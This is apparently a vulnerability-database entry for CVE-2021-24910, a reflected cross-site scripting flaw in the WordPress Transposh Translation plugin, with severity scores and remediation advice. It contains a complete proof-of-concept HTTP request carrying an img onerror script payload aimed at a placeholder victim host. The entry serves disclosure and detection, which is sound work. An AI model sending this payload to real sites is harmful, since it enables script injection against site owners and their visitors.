| Title | WordPress Transposh Translation <1.0.8 - Cross-Site Scripting |
|---|---|
| Author | Screamy |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement. |
| Remediation | Update the WordPress Transposh Translation plugin to version 1.0.8 or later to mitigate the vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.10373 |
| CVE ID | CVE-2021-24910 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve wordpress wp-plugin xss wp wpscan transposh vuln |
WordPress Transposh Translation plugin before 1.0.8 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the a parameter via an AJAX action (available to both unauthenticated and authenticated users when the curl library is installed) before outputting it back in the response.
GET /wp-admin/admin-ajax.php?action=tp_tp&e=g&m=s&tl=en&q=<img%20src%3dx%20onerror%3dalert(document.domain)> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.6.10
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24910.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24910.pcap
N/AN/A